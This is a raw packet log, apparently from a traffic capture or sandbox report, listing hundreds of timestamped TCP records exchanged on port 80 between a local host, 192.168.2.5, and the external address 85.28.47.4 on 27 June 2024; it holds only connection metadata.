Jun 27, 2024 19:26:00.323645115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323652983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323668957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323671103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323687077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323695898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323695898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323703051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323715925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323720932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323738098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323741913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323741913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323754072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323760986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323771954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323787928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323788881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323816061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323816061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323834896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324464083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324486971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324506044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324521065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324531078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324537039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324553013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324553967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324573040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324579000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324594975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324611902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324614048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324614048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324614048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324628115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324637890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324651957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324657917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324667931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324680090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324683905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324697018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324701071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324717045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324717999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.324737072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324757099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.324757099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.325048923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.325064898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.325078964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.325113058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.325113058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.325145960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406220913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406285048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406300068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406388998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406444073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406460047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406476974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406500101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406531096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406626940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406642914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406657934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406672001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406682968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406687975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406704903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406706095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406724930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406744003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406769037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.406935930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.406990051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407082081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407098055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407111883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407126904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407138109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407144070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407160044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407160997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407167912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407182932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407186985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407218933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407238960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407586098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407602072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407624006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407638073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407651901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407659054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407659054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407669067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407685041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407691002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407691002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407701015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407712936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407720089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407733917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407733917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407736063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407753944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.407763004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407783031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.407802105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408107042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408123016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408138037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408159018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408164024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408183098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408184052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408200026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408201933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408216000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408227921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408231974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408247948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408255100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408255100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408266068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408274889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408283949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408294916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408308029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408320904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408320904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408324003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408339977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408344984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408358097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.408364058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408377886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.408402920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409127951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409143925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409157991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409173012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409184933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409187078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409204006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409214020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409214020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409214020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409220934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409239054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409245968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409245968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409255028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409271002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409271002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409271002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409286976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409301996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409302950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409318924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409324884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409336090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409343958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409353018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.409374952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409374952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.409394026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410041094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410056114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410068989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410084963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410098076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410106897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410116911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410125017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410137892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410144091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410161972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410165071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410165071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410177946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410183907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410193920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410203934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410209894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410221100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410232067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410248041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410248995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410248041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410264969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410273075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410280943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410288095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410307884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410326958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.410948038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410963058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410978079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.410993099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411006927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411009073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411009073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411022902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411037922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411037922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411047935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411066055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411081076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411084890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411084890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411084890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411097050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411113977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411113977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411113977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411129951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411145926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411149979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411149979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411164045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411179066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411179066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411179066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411204100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411218882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411588907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411604881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411619902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411633968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411649942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411652088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411672115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411674976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411688089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411695004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411714077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411715984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411729097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411736012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411745071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411756039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411762953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411780119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411794901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411794901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411794901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411812067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411814928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411814928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411828995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411839962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411845922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411863089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411865950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411865950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411879063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411884069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411895990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.411904097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411928892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.411928892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.412473917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.412502050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.412548065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.412548065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.494790077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.494843006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.494858027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.494860888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.494909048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.494910002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.494910002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.494925976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.494946003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.494966030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495026112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495070934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495188951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495203972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495218992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495235920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495246887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495246887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495282888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495282888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495382071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495397091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495413065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495425940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495433092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495471001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495471001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495676041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495691061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495706081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495721102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495733976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495735884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495758057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495771885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495771885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495774984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495793104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495798111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495798111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495810032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495826006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495827913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495827913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495842934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.495847940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495867968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.495886087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496226072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496241093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496284008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496319056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496364117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496377945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496398926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496414900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496428967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496432066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496432066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496447086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496462107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496463060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496463060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496463060 CEST	49705	80	192.168.2.5	85.28.47.4
